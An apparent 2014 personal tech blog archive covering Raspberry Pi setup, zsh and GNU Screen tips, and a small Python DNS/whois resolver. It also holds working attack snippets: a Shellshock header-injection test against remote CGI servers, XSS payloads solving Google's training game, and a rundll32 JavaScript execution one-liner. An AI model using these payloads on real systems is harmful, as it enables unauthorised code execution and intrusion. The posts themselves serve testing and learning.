Nov 6, 2014

Kitty to Replace Putty

Just switch from Putty to Kitty recently, for a few reasons:

  • Available in Portable format (like Putty).
  • Built-in transparency.
  • Quick start of duplicate session (ctrl+shift+click).
  • kscp integration (drag and drop or ctrl+F3).
  • hidden text editor (shift+F2).

Oct 13, 2014

ShellShock Attack Vectors

Shellshock attack is popular, and wormable too. However, it requires an attack vector for it to works. Here're some of the common attack vectors for shellshock to work:

  • (Apache/etc) httpd - If the CGI script calls Bash, the script could execute arbitrary code as the httpd user. mod_php, mod_perl, and mod_python do not use environment variables and we believe they are not affected.
  • (Secure Shell) ssh -  It can be used to execute any command, via ssh, scp, git, rsync, etc.
  • dhclient - The Dynamic Host Configuration Protocol Client (dhclient) is used to automatically obtain network configuration information via DHCP. This client uses various environment variables and runs Bash to configure the network interface. Connecting to a malicious DHCP server could allow an attacker to run arbitrary code on the client machine.
  • CUPS - It is believed that CUPS is affected by this issue. Various user supplied values are stored in environment variables when cups filters are executed.
  • sudo - It could still be possible for the running command to set an environment variable that could cause a Bash child process to execute arbitrary code.
  • Firefox - No detail about it as of now.
  • Postfix - While the Postfix server does call Bash in a variety of ways, the Postfix server will replace various characters with a ?, and may allow an arbitrary environment variable be set by the server. It is however possible that a filter could set environment variables.

Sep 27, 2014

ShellShock Testing

Patch your /usr/bin/bash  NOW. The 'Shellshock' bug blasts OS X, Linux systems wide open. The attack vectors are the CGI scripts to DHCP clients (and maybe more), which will lead to remote-code execution.

Proof of Concept - at local system
A simple test to check if your Bash is vulnerable is available publicly.
$ env var='() { :;}; echo vulnerable' bash -c /bin/true  
Upon running the above command, an affected version of bash will output "vulnerable". Once the patch has been applied, the same test will return the following result.
bash: warning: var: ignoring function definition attempt  bash: error importing function definition for 'var'  

Proof of Concept - to a remote server.
curl -A "() { ignored; }; echo Content-Type: text/plain ; echo  ; echo ; /usr/bin/id" 
A vulnerable web CGI will return uid=48(apache) gid=48(apache) groups=48(apache), and follow by HTML page. A non-vulnerable should return just the HTML page.

Aug 30, 2014

Touch Screen Display for RPi

I got this from http://www.ebay.co.uk/itm/301239157191

3.5" Raspberry Pi Touch Screen Display Monitor 480x320 LCD + Case + Heatsinks
This 3.5 inch touch screen module is designed especially for Raspberry Pi. It transmits data though GPIO, SPI (Serial Peripheral Interface) on the P1 interface. The CPLD on the display module controls display content according to the data transmitted from the SPI interface.

Specification

  • Easy to setup and use
  • Physical Resolution: 480x320 pixels,16bit,65K color
  • 3.5 inch resistive touch screen
  • LCD Display transmits data through SPI (clock maximum speed: 125Mhz)
  • Touch panel transmits data through SPI (clock maximum speed: 16Mhz)
  • No external power supply needed
  • Built-in EEPROM storage unit
  • Open source Linux driver


The display module is built with a high speed CPLD chip (EPM3032), a SPI interfaced 4-wire resistive touch screen control chip (XPT2046), and an I2C interfaced EEPROM memory storage unit (AT24C02).

/boot/config.txt

# uncomment if you get no picture on HDMI for a default "safe" mode
hdmi_safe=1

# uncomment this if your display has a black border of unused pixels visible
# and your display can output without overscan
disable_overscan=0

# uncomment the following to adjust overscan. Use positive numbers if console
# goes off screen, and negative if there is too much border
#overscan_left=16
#overscan_right=16
#overscan_top=16
#overscan_bottom=16

# uncomment to force a console size. By default it will be display's size minus
# overscan.
framebuffer_width=960
framebuffer_height=640

# uncomment if hdmi display is not detected and composite is being output
hdmi_force_hotplug=1

# uncomment to force a specific HDMI mode (this will force VGA)
hdmi_group=1
hdmi_mode=5 hdmi_ignore_edid=0xa5000080
# uncomment to force a HDMI mode rather than DVI. This can make audio work in
# DMT (computer monitor) modes
#hdmi_drive=2

# uncomment to increase signal to HDMI, if you have interference, blanking, or
# no display
#config_hdmi_boost=4

# uncomment for composite PAL
#sdtv_mode=2

#uncomment to overclock the arm. 700 MHz is the default.
#arm_freq=800

# for more options see http://elinux.org/RPi_config.txt


Package Include:

  • 1*Tontec 3.5 inch Touch Screen
  • 1*Raspberry Pi Transparent Enclosure
  • 1*Raspberry Pi Heatsinks - set of 3

Aug 29, 2014

Kali Linux 1.0.9 Raspberry Pi image

Downloading the Kali Linux custom ARM image for my Raspberry Pi, at http://www.offensive-security.com/kali-linux-vmware-arm-image-download/

Kali Linux 1.0.9 Raspberry Pi image    Download Image    SHA1SUM: 714a6fbefc6df51b83826f93d46a36f31d54c5d1

Jul 31, 2014

Playing Audio on RPi


If omxplayer's auto-detection of the correct audio output device fails, you can force output over hdmi with:

$ omxplayer -o hdmi example.mp3

or you can force output over the headphone jack with:

$ omxplayer -o local example.mp3


To troubleshoot the sound module::
$ lsmod | grep snd_bcm2835
$ sudo modprobe snd_bcm2835

To load the sound module automatic:
cd /etc
sudo vi modules

# /etc/modules: kernel modules to load at boot time.
#
# This file contains the names of kernel modules that should be
# loaded at boot time, one per line. Lines beginning with "#" are
# ignored. Parameters can be specified after the module name.

snd-bcm2835


By default the output is set to automatically select the default audio interface (HDMI if available otherwise analog). You can force it to use a specific interface using :
$ amixer cset numid=3 n

Where <n> is the required interface : 0=auto, 1=analog, 2=hdmi. To force the Raspberry Pi to use the analog output :
$ amixer cset numid=3 1


To play a WAV file using aplay:
$ aplay police_s.wav


To play an MP3 file using mpg123:
$ sudo apt-get -y install mpg321
$ mpg321 bubbling_water_1.mp3
$ mpg321 -g 50 bubbling_water_1.mp3     # [ volume 50% ]


To play a MP3 file using Imxplayer:
$ sudo apt-get -y install omxplayer
$ omxplayer bubbling_water_1.mp3

The plus (+) and minus (-) keys can be used to adjust the volume of the playback.

Jul 25, 2014

rundll32 + javascript + calc

Got this from a friend.

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("\74script language=jscript.encode>"+(new%20ActiveXObject("WScript.Shell")).Run("calc.exe")+"\74/script>")

start calc.exe

Google Chrome Silent Installer at TechNet

Just found a Google Chrome silent installer (36.0.1985.125) today. Yes, it is at Microsoft TechNet.

http://gallery.technet.microsoft.com/Google-Chrome-version-f0619a1f

Google Chrome at TechNet

Jul 16, 2014

Shutdown, Restart, Logoff, and Hibernate Remote Windows PC

Shutdown Remote PC
Shutdown.exe -s

Restart Remote PC
Shutdown.exe -r

Logout Remote PC
Shutdown.exe -l

Hibernate Remote PC
Shutdown.exe  /h

Jun 30, 2014

ARMHF or ARMEL?

We like Raspberry Pi, and we wonder which distribution are we using now. Do this to find out yourself:

$ readelf -A /proc/self/exe | grep Tag_ABI_VFP_args
Tag_ABI_VFP_args: VFP registers

If the Tag_ABI_VFP_args tag is found, then you're running on an ARMHF system.  If nothing is returned, then it's ARMEL.  The example above indicates an armhf distro. And the below:

$ pi@raspberrypi:~$ readelf -A /proc/self/exe | grep Tag_ABI_VFP_args 

Nothing returned indicates that this is indeed ARMEL, which is the soft-float Debian Wheezy distribution.

Jun 9, 2014

Learning Impress.js

Here I'll show you how to create the 1st presentation that use Javascript (impress.js).

Setup the 1st template.html

<!doctype html> 
<html> 
    <head> 
        <title>Impress Tutorial</title> 
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
    </head> 
    <body>

        <div class="step"> My 1st slide </div>

    <script type="text/javascript" src="impress.js"></script>
    <script>impress().init()</script>
    </body> 
</html> 

From the template.html, copy and make your own the 1st impress.js's presentation.

The very 1st slide is always at the position (0,0,0) for x,y,z. Usually you only start add in the animation from slide 2 onward. Below are the only commands that you need to learn how to animate the slide transition.

  • data-x="800" - Positive (move-to-right), Negative (move-to-left)
  • data-y="500" - Positive (move-down), Negative (move-to-up)
  • data-z="1200" - Positive (come-close), Negative (go-far)
  • data-scale="5" - Scale X times (1: original; x: bigger; 0.x: smaller)
  • data-rotate-x="90" - 3D sliding. Positive (rotate-to-up-degree), Negative (rotate-to-down-degree)
  • data-rotate-y="180" - 3D sliding. Positive (rotate-to-left-degree), Negative (rotate-to-right-degree)
  • data-rotate-z="270" - 3D sliding. Rotated about the z-axis.


Example, I'm creating 4 slides, and wish them to rotate to right like a cube.

<div class="step"> My 1st slide </div>
<div class="step" data-rotate-y="90"> My 2nd slide </div>
<div class="step" data-rotate-y="180"> My 3rd slide </div>
<div class="step" data-rotate-y="270"> My 4th slide </div>




Jun 8, 2014

TiddlyWiki on Node.js

Start getting the TiddlyWiki on Node.js and here is the steps I installing them.

Installation

  1. Install Node.js from http://nodejs.org (I've done this before).
  2. From the shell:
sudo npm install -g tiddlywiki
  1. Check the installation from the shell:
tiddlywiki --version
  1. Initialize the server:
tiddlywiki zdwiki --init server
  1. Start it: 
tiddlywiki zdwiki --server

Jun 3, 2014

My XSS-game Solution at Google AppSpot

This is the solution that I had tried out the XSS challenges at Google AppSpot, xss-game.appspot.com.

Level 1:
  • https://xss-game.appspot.com/level1/frame?query=-->+<script>alert('level1');</script>

Level 2:
  • <img src="" onmouseover="javascript:alert('level2');">

Level 3:
  • https://xss-game.appspot.com/level3/frame#1' onmouseover="javascript:alert('level3');"

Level 4:
  • https://xss-game.appspot.com/level4/frame?timer=');alert('level4')<!--

Level 5:
  • https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert('level5');"

Level 6:
  • https://xss-game.appspot.com/level6/frame#data:text/javascript,alert('foo')

Reference:
  • https://www.google.com/about/appsecurity/learning/xss/index.html


May 14, 2014

Quick Switch in Windows 7

If you found that the new Windows 7 feature (popup previews for all the same windows) is irritating, here is the trick: hold down the ctrl key while you click the button, you will immediately be taken to the last window of that type that you had open.

May 8, 2014

wtfjs

Today I come across an interesting website that learn to make Javascript a bit different: wtfjs.com.

About
JavaScript is a language we love despite it giving us so much to hate. This is a collection of those very special irregularities, inconsistencies and just plain painfully unintuitive moments for the language of the web.

May 6, 2014

FDNS 3.0

I think this will be final improvement. 

I did notice that the fdns2.2.py can only connect to whois.arin.net on port 43 (whois). It doesn't perform the follow up on the whois referring by arin.net.

With the new code, it should:

  • Resolve DNS name to IP address
  • Perform the reverse DNS based on the IP addess (above).
  • Perform whois DB checking based on the IP address (above), and shows the OrgName(netname).

#!/usr/bin/python
import os, sys, re, socket, argparse
import json
name = who = ""
 
def whois_orgname(ipaddr):
    try:
        #data = []
        orgname = netname = desrc = ''
        whoisinfo = os.popen('whois %s' % ipaddr, 'r').readlines()
        ee = json.dumps(whoisinfo)
        dd = json.loads(ee)
        for line in dd:
            p1 = re.match('(orgname):\s*(.*)', line, re.I)
            p2 = re.match('(netname):\s*(.*)', line, re.I)
            #p3 = re.match('(descr):\s*(.*)', line, re.I)
            if p1 != None:
                orgname = p1.group(2)
            if p2 != None:
                netname = p2.group(2)
            #if p3 != None:
            #    descr = p3.group(2)
    except Exception, e:
        pass
    finally:
        orgnetname = orgname + "(" + netname + ")"
        return orgnetname
 
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Fast DNS Resolver for domain list', version='%(prog)s 3.0')
    parser.add_argument('-w', '--whois', dest='whois', action='store_true', default=True, help='whois')
    parser.add_argument('-R', dest='rdns', action='store_true', default=False, help='reverse dns')
    parser.add_argument('infile', nargs='+', type=str, help='list of input files')
    args = parser.parse_args()
    domains = []
    for f in args.infile:
        with open(f, 'rt') as data:
            for line in data.readlines():
                domains.append(line.strip())
    for domain in domains:
        try:
            host =  socket.gethostbyname(domain)
        except Exception, e:
            host = "-"
        finally:
            if args.rdns or args.whois:
                if args.rdns:
                    try:
                        name, alias, addresslist = socket.gethostbyaddr(host)
                    except Exception, e:
                        name = "-" # reverse dns name
                if args.whois:
                    try:
                        who = whois_orgname(host)
                    except Exception, e:
                        who = "-" # whois owner
                print "%s:%s:%s:%s" %(domain, host, name, who)
            else:
                print "%s:%s" % (domain, host)

Node.js is Fun

Just finished my first tutorial on Node.js. It is really fun and I'm getting more interested in Javascript now. And making it works on my Raspberry Pi is even more fun.

May 5, 2014

FDNS 2.2

I do a little bit of clean up on the code on fdns2.1.py. I notice that the fdns2.1.py does have limitation, where the web site will limit how the number of web request. Thus I just improve it by calling the whois.arin.net and parse the output.

Below is the new code:

#!/usr/bin/python
import os, sys, re, socket, argparse
name = who = ""
def whois_orgname(ipaddr):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("whois.arin.net", 43))
        s.send(ipaddr + "\r\n")
        response = ''
        while True:
            d = s.recv(4096)
            response += d
            if d == '':
                break
        s.close()
    except Exception, e:
        pass
    if len(response):
        return re.search(r'OrgName:\s*(.*)', "".join(response)).group(1)
    else:
        return ""
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Fast DNS Resolver for domain list', version='%(prog)s 2.0')
    parser.add_argument('-w', '--whois', dest='whois', action='store_true', default=False, help='whois')
    parser.add_argument('-R', dest='rdns', action='store_true', default=False, help='reverse dns')
    parser.add_argument('infile', nargs='+', type=str, help='list of input files')
    args = parser.parse_args()
    domains = []
    for f in args.infile:
        with open(f, 'rt') as data:
            for line in data.readlines():
                domains.append(line.strip())
    for domain in domains:
        try:
            host =  socket.gethostbyname(domain)
        except Exception, e:
            host = "-"
        finally:
            if args.rdns or args.whois:
                if args.rdns:
                    try:
                        name, alias, addresslist = socket.gethostbyaddr(host)
                    except Exception, e:
                        name = "-" # reverse dns name
                if args.whois:
                    try:
                        who = whois_orgname(host)
                    except Exception, e:
                        who = "-" # whois owner
                print "%s:%s:%s:%s" %(domain, host, name, who)
            else:
                print "%s:%s" % (domain, host)

FDNS 2.1

Remember the Geolocator last year? I improve the FDNS by adding in the whois info. Below is the new code:

#!/usr/bin/python
import os, sys, re
import argparse
from socket import getaddrinfo
import urllib2
import BeautifulSoup
name = who = ""
 
def whois_orgname(ipaddr):
  website = "http://www.findip-address.com/" + ipaddr + "/whois"
  try:
      html_page = urllib2.urlopen(website).read()
      soup = BeautifulSoup.BeautifulSoup(html_page)
      for script in soup(["script", "style"]):
          script.extract()
      text = soup.getText()
      lines = (line.strip() for line in text.splitlines())
      chunks = (phrase.strip() for line in lines for phrase in line.split("  "))
      text = '\n'.join(chunk for chunk in chunks if chunk)
      #if re.search('OrgName(.+?)OrgId', text):
      #    print 'found', re.search('OrgName:(.+?)OrgId', text).group(1)
      orgname = re.search('OrgName:(.+?)OrgId', text).group(1)
  except Exception, e:
      orgname = ""
  finally:
      return orgname
 
def whois_orgname2(query):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect(("whois.arin.net", 43))
  s.send(sys.argv[1] + "\r\n")
  response = ''
  while True:
      d = s.recv(4096)
      response += d
      if d == '':
          break
  s.close()
  print response
  #return response
  return ""
 
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Fast DNS Resolver for domain list', version='%(prog)s 2.1')
    #parser.add_argument('-w', '--whois', dest='whois', action='store_true', default=False, help='whois')
    parser.add_argument('-o', '--orgname', dest='orgname', action='store_true', default=False, help='whois')
    parser.add_argument('-R', dest='rdns', action='store_true', default=False, help='reverse dns')
    parser.add_argument('infile', nargs='+', type=str, help='list of input files')
    args = parser.parse_args()
    domains = []
    for f in args.infile:
        with open(f, 'rt') as data:
            for line in data.readlines():
                domains.append(line.strip())
    for domain in domains:
        try:
            host =  socket.gethostbyname(domain)
        except Exception, e:
            host = "-"
        finally:
            if args.rdns or args.orgname:
                if args.rdns:
                    try:
                        name, alias, addresslist = socket.gethostbyaddr(host)
                    except Exception, e:
                        name = "-" # reverse dns name
                '''
                if args.whois:
                    try:
                        #who = "whois function"
                        #who = "http://www.findip-address.com/" + host + "/whois"
                        #who = geoip.country(host)
                        who = whois_orgname(host)
                    except Exception, e:
                        who = "-" # whois owner
'''
                if args.orgname:
                    try:
                        orgname = whois_orgname2(host)
                    except Exception, e:
                        orgname = ""
                    finally:
                        who = orgname
                print "%s:%s:%s:%s" %(domain, host, name, who)
            else:
                print "%s:%s" % (domain, host)

Fast DNS Resolver

I called this "Fast DNS Resolver" not because it is fast (at execution). It is because it is short, and simply resolve the IP address (including reverse DNS) for a list FQDN for me (fast).

(If you are looking for really fast execution python script to resolve DNS, try this Asynchronous DNS Resolution)

#!/usr/bin/python
import os, sys, socket, argparse
name = ""
 
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Fast DNS Resolver for domain list', version='%(prog)s 1.0')
    parser.add_argument('-R', dest='rdns', action='store_true', default=False, help='reverse dns')
    parser.add_argument('infile', nargs='+', type=str, help='list of input files')
    args = parser.parse_args()
 
    domains = []
    for f in args.infile:
        with open(f, 'rt') as data:
            for line in data.readlines():
                domains.append(line.strip())
    for domain in domains:
        try:
            host =  socket.gethostbyname(domain)
        except Exception, e:
            host = "-"
        finally:
            if args.rdns:
                try:
                    name, alias, addresslist = socket.gethostbyaddr(host)
                except Exception, e:
                    name = "-" # reverse dns name
                print "%s:%s:%s" %(domain, host, name)
            else:
                print "%s:%s" % (domain, host)

Feb 21, 2014

How to stop images from showing up in Android Gallery?

Application stores pictures at their respective photos, and we download "photos" and keep it for ourselves. But Android Gallery searches and indexes those pictures/photos on the entire SD automatic, and shows them in the Gallery. This can be an embarrass to us sometimes.

How can we stop the images at certain folders from showing up in Android Gallery?

If you like to hide an individual files from the gallery, just rename the file of the picture/photo with a . prefix.

If you would like to hide an entire directory that keeps yours images, just create an empty file with the file name .nomedia in the same folder.

Feb 14, 2014

Nokia 5110 LCD as Display for RPi

Successful on getting my Nokia5110 LCD works with my RPi. Here're the photos.
sudo ./pi_logo.py

sudo ./sunclock.py

sudo ./rpimonitor-load.py

sudo ./pi_logo100.py

Feb 8, 2014

Tetris in zsh

Add the following 3 lines into your .zshrc:
autoload -U tetris 
zle -N tetris 
bindkey  "^T" tetris  # Ctrl-t to play

Update on ScreenRC

Just update the ~/.screenrc today!

  • htop
  • F11 and F12 key binding
  • etc

Jan 23, 2014

Sort IP Address

There is time you need to sort IP address in the way human understand.
# sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 addresses.txt

Where,
  • -t . : Set field to . (dot) as our IPs separated by dot symbol
  • -n : Makes the program sort according to numerical value
  • -k opts: Sort data / fields using the given column number. For example, the option -k 2 made the program sort using the second column of data. The option -k 3,3n -k 4,4n sorts each column. First it will sort 3rd column and then 4th column.

Jan 17, 2014

Report A Snapshot of Current Processes

ps [options]

ps displays information about a selection of the active processes. It accepts several kinds of options:

  1. UNIX options, which may be grouped and must be preceded by a dash.
  2. BSD options, which may be grouped and must not be used with a dash.
  3. GNU long options, which are preceded by two dashes.

 To see every process on the system using standard syntax:
ps -eps -efps -eFps -ely

 To see every process on the system using BSD syntax:
ps axps axu

 To print a process tree:
ps -ejHps axjf

 To get info about threads:
ps -eLfps axms

 To get security info:
ps -eo euser,ruser,suser,fuser,f,comm,labelps axZps -eM

 To see every process running as root (real & effective ID) in user format:
ps -U root -u root u

To see every process with a user-defined format:
ps -eo pid,tid,class,rtprio,ni,pri,psr,pcpu,stat,wchan:14,commps axo stat,euid,ruid,tty,tpgid,sess,pgrp,ppid,pid,pcpu,commps -eopid,tt,user,fname,tmout,f,wchan

Print only the process IDs of syslogd:
ps -C syslogd -o pid=

Print only the name of PID 42:
ps -p 42 -o comm=

Jan 16, 2014

Shows Exit Code of Previous Command in zsh

To display the exit code of the previous command is very useful in zsh.
PS1='%n%m %~ %(?..[%?] )%# '

%(?..[%?] )
It's a conditional expression. The part before the 1st dot is the expression; the part between the two dots is output if it's TRUE (or 0); the part after the second dot is output if it's FALSE (or any number but 0).

See my full customization on .zshrc file.

Jan 15, 2014

Tips on GNU Screen

GNU Screen is a simple but powerful terminal multiplexer.

Two basic commands that I use often:
  • screen -r : Re-attach the only-one screen session.
  • screen -ls : To show running sessions 

Here's the features that I use often:
  • ctrl-a + d : To detach the terminal.
  • ctrl-a + c : To create a new terminal
  • ctrl-a + p : To switch to the previous terminal
  • ctrl-a + n : To switch to the next terminal
Here's the features that I use less often:
  • ctrl-a + x : To lock the current terminal
  • ctrl-a + S : To split the terminal to two separate areas/tabs.
  • ctrl-a + X : To close the current area/tab.
  • ctrl-a + [tab] : To switch to the next tab.
  • ctrl-a + H : To create a running log of the session.
Advanced usages:
  • ctrl-a + M : To start/stop monitor for activity
  • ctrl-a + _ : To start/stop monitor for silence 
  • ctrl-a + " : To quickly go to that window
References:
  • http://polishlinux.org/howtos/screen-tips-tricks/
  • http://www.softpanorama.org/Utilities/screen.shtml
  • https://wiki.archlinux.org/index.php/GNU_Screen
  • http://www.rackaid.com/blog/linux-screen-tutorial-and-how-to/
Tips:
In you accidentally press "ctrl-a s" (instead of "ctrl-a S") while creating tab, which freeze the parent terminal, just press "ctrl-a q" to unfreeze it. 

Jan 9, 2014

Some Tricks in using zsh

These are part of the tricks that I like most about zsh:

ESC-. [ Escape period ]
Inserts the last argument of the previous history line, repeat to go back in history.

ESC-'  [ Escape single-quote ]
To quotes the whole line. (Useful for su -c or ssh).

ESC-q [ Escape q ]
To clears the line and inserts it again on the next prompt, allowing you to issue an interim command.

ESC-RETURN [ Escape ENTER ]
To inserts a literal newline, so you can edit longer commands easily.

References:

  • http://chneukirchen.org/blog/archive/2008/02/10-zsh-tricks-you-may-not-know.html
  • http://www.rayninfo.co.uk/tips/zshtips.html
  • http://grml.org/zsh/zsh-lovers.html

Jan 8, 2014

AutoCorrection in zsh

By default, zsh comes with autocorrection.

If you found that it is very annoying, you can turn it off separately. To switch it off completely:
unsetopt correct  # newer version
unsetopt correct-all # older version

To switch it off for certain command, such as 'vim', do this in your .zshrc
alias vim='nocorrect vim' 

To switch it off for another copy of zsh:
NOCOR=1 zsh

Jan 6, 2014

Check Temperature in Raspberry Pi

Two ways how I check the temperature in my Raspberry Pi.

As normal user:
% cat /sys/class/thermal/thermal_zone0/temp
49768
% /opt/vc/bin/vcgencmd measure_temp
VCHI initialization failed

As sudo/root:
% sudo /opt/vc/bin/vcgencmd measure_temp                
temp=49.8'C

Customize zsh for PiBang

By default, PiBang comes with zsh as the default shell.

After few days using zsh, I found that I have key binding issue. This reminds me that I need to setup key sequence and binding manually for certain keys: HOME, END, and DELETE.

So refer to setup key sequence and bindings manually.

Jan 5, 2014

Check NTP Config in RaspberryPi

Raspberry Pi has no real time clock (RTC). If you power up your RPi without Internet access, you will have wrong time/date.

RPi gets the time/date from NTP servers (a time server). To perform a quick check on your NTP servers:
ntpq -p

Jan 3, 2014

Fixed IP on RaspberryPi

I prefer fixed IP to dynamic IP address. So I just changed from dhcp to static in the /etc/network/interface file.
/etc/network/interface:
auto lo
iface lo inet loopback  
auto eth0iface eth0 inet static 
address 192.168.1.11 
netmask 255.255.255.0 
network 192.168.1.0 
broadcast 192.168.1.255 
gateway 192.168.1.1
And don't forget your DNS setting. Once you no longer get network configuration from DHCP server, you need to configure your DNS manually.

/etc/resolv.conf:
nameserver 192.168.1.1

/etc/network/interface and ifconfig output

Hi PiBang (Why I switch to PiBang)

Few reasons:

  • It has server edition. 
  • It uses SystemD (instead of SysV init).
  • It uses zsh (instead of bash).
At the same time:
  • In case I need a desktop environment, instead of LXDE, I still can have i3 (tiling WM) or OpenBox.
  • It still compatible with Rasbian sources.
Interested? Give PiBang a try now.

Reinstalling My PiBang

Today I download the latest PiBang Server edition, pibang-server-systemd-20131119.img (500++ MB and MD5: B824E42A BFCE74EF 980613EF 6109A811) Then follow by unzip it and burn the img file to my 4GB micro SD card.

Plug it into my Raspberry Pi. Connect my Raspberry Pi to TV after connect a USB keyboard. Power it once it is done.

The 1st thing it runs is, raspi-setup. Make all the necessary changes including:

  • Expand the file system.
  • Change hostname.
  • adduser pi
  • Split memory: 16MB
  • Enable camera module and SSH server.